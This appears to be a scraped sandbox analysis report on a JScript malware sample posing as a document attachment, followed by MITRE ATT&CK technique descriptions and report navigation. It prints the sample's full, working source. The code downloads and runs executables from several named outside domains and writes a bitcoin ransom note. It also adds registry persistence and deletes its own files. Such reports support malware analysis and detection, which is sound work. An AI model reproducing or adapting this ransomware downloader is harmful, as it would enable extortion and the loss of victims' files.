/c REG ADD "+cq+"HKCU"+cs+"SOFTWARE"+cs+"Microsoft"+cs+"Windows"+cs+"CurrentVersion"+cs+"Run"+cq+" /V "+cq+"Crypted"+cq+" /t REG_SZ /F /D "+cq+fn+".txt"+cq,0,0); ws.Run("%COMSPEC% /c REG ADD "+cq+"HKCR"+cs+".crypted"+cq+" /ve /t REG_SZ /F /D "+cq+"Crypted"+cq,0,0); ws.Run("%COMSPEC% /c REG ADD "+cq+"HKCR"+cs+"Crypted"+cs+"shell"+cs+"open"+cs+"command"+cq+" /ve /t REG_SZ /F /D "+cq+"notepad.exe "+cs+cq+fn+".txt"+cs+cq+cq,0,0); ws.Run("%COMSPEC% /c copy /y "+cq+fn+".txt"+cq+" "+cq+"%AppData%"+cs+"Desktop"+cs+"DECRYPT.txt"+cq,0,0); ws.Run("%COMSPEC% /c copy /y "+cq+fn+".txt"+cq+" "+cq+"%UserProfile%"+cs+"Desktop"+cs+"DECRYPT.txt"+cq,0,0); ws.Run("%COMSPEC% /c "+fn+".exe "+cq+fn+".php"+cq,0,1); ws.Run("%COMSPEC% /c notepad.exe "+cq+fn+".txt"+cq,0,0); var fp=fo.CreateTextFile(fn+".php",true);for(var i=0;i<1000;i++){fp.WriteLine(ad);};fp.Close(); ws.Run("%COMSPEC% /c DEL "+cq+fn+".php"+cq,0,0); ws.Run("%COMSPEC% /c DEL "+cq+fn+".exe"+cq,0,0); ws.Run("%COMSPEC% /c DEL "+cq+pd+cq,0,0); }; };"
3730	eval ( l99 );	eval("var id="LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM"; var ad="1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC"; var bc="0.50426"; var ld=0; var cq=String.fromCharCode(34); var cs=String.fromCharCode(92); var ll=["shanghaizuoye.com","arlettakubicka.pl","tamilandth.com","telektrim.pl","key33.ru"]; var ws=WScript.CreateObject("WScript.Shell"); var fn=ws.ExpandEnvironmentStrings("%TEMP%")+cs+"a"; var pd=ws.ExpandEnvironmentStrings("%TEMP%")+cs+"php4ts.dll"; var xo=WScript.CreateObject("Msxml2.XMLHTTP"); var xa=WScript.CreateObject("ADODB.Stream"); var fo=WScript.CreateObject("Scripting.FileSystemObject"); if (!fo.FileExists(fn+".txt")) { for(var n=1;n<=5;n++) { for(var i=ld;i<ll.length;i++) { var dn=0; try { xo.open("GET","http://"+ll[i]+"/counter/?ad="+ad+"&id="+id+"&rnd="+i+n, false); xo.send(); if(xo.status==200) { xa.open(); xa.type=1; xa.write(xo.responseBody); if(xa.size>1000) { dn=1; if(n<=2){xa.saveToFile(fn+n+".exe",2);try{ws.Run(fn+n+".exe",1,0);}catch(er){};} else if(n==3){xa.saveToFile(fn+".exe",2);} else if(n==4){xa.saveToFile(pd,2);} else if(n==5){xa.saveToFile(fn+".php",2);} }; xa.close(); }; if(dn==1){ld=i;break;}; } catch(er){}; }; }; if(fo.FileExists(fn+".exe") && fo.FileExists(pd) && fo.FileExists(fn+".php")) { var fp=fo.CreateTextFile(fn+".txt",true); fp.WriteLine("ATTENTION!"); fp.WriteLine(""); fp.WriteLine("All your documents, photos, databases and other important personal files"); fp.WriteLine("were encrypted using strong RSA-1024 algorithm with a unique key."); fp.WriteLine("To restore your files you have to pay "+bc+" BTC (bitcoins)."); fp.WriteLine("Please follow this manual:"); fp.WriteLine(""); fp.WriteLine("1. Create Bitcoin wallet here:"); fp.WriteLine(""); fp.WriteLine(" https://blockchain.info/wallet/new"); fp.WriteLine(""); fp.WriteLine("2. Buy "+bc+" BTC with cash, using search here:"); fp.WriteLine(""); fp.WriteLine(" https://localbitcoins.com/buy_bitcoins"); fp.WriteLine(""); fp.WriteLine("3. Send "+bc+" BTC to this Bitcoin address:"); fp.WriteLine(""); fp.WriteLine(" "+ad); fp.WriteLine(""); fp.WriteLine("4. Open one of the following links in your browser to download decryptor:"); fp.WriteLine(""); for (var i=0;i<ll.length;i++) { fp.WriteLine(" http://"+ll[i]+"/counter/?a="+ad); }; fp.WriteLine(""); fp.WriteLine("5. Run decryptor to restore your files."); fp.WriteLine(""); fp.WriteLine("PLEASE REMEMBER:"); fp.WriteLine(""); fp.WriteLine(" - If you do not pay in 3 days YOU LOOSE ALL YOUR FILES."); fp.WriteLine(" - Nobody can help you except us."); fp.WriteLine(" - It`s useless to reinstall Windows, update antivirus software, etc."); fp.WriteLine(" - Your files can be decrypted only after you make payment."); fp.WriteLine(" - You can find this manual on your desktop (DECRYPT.txt)."); fp.Close(); ws.Run("%COMSPEC% /c REG ADD "+cq+"HKCU"+cs+"SOFTWARE"+cs+"Microsoft"+cs+"Windows"+cs+"CurrentVersion"+cs+"Run"+cq+" /V "+cq+"Crypted"+cq+" /t REG_SZ /F /D "+cq+fn+".txt"+cq,0,0); ws.Run("%COMSPEC% /c REG ADD "+cq+"HKCR"+cs+".crypted"+cq+" /ve /t REG_SZ /F /D "+cq+"Crypted"+cq,0,0); ws.Run("%COMSPEC% /c REG ADD "+cq+"HKCR"+cs+"Crypted"+cs+"shell"+cs+"open"+cs+"command"+cq+" /ve /t REG_SZ /F /D "+cq+"notepad.exe "+cs+cq+fn+".txt"+cs+cq+cq,0,0); ws.Run("%COMSPEC% /c copy /y "+cq+fn+".txt"+cq+" "+cq+"%AppData%"+cs+"Desktop"+cs+"DECRYPT.txt"+cq,0,0); ws.Run("%COMSPEC% /c copy /y "+cq+fn+".txt"+cq+" "+cq+"%UserProfile%"+cs+"Desktop"+cs+"DECRYPT.txt"+cq,0,0); ws.Run("%COMSPEC% /c "+fn+".exe "+cq+fn+".php"+cq,0,1); ws.Run("%COMSPEC% /c notepad.exe "+cq+fn+".txt"+cq,0,0); var fp=fo.CreateTextFile(fn+".php",true);for(var i=0;i<1000;i++){fp.WriteLine(ad);};fp.Close(); ws.Run("%COMSPEC% /c DEL "+cq+fn+".php"+cq,0,0); ws.Run("%COMSPEC% /c DEL "+cq+fn+".exe"+cq,0,0); ws.Run("%COMSPEC% /c DEL "+cq+pd+cq,0,0); }; };") ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Label_00000852555.doc.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\counter[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\counter[2].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\counter[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\counter[2].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\counter[3].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\counter[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\counter[2].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\counter[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\counter[2].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\counter[3].htm

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Windows Analysis Report
Label_00000852555.doc.js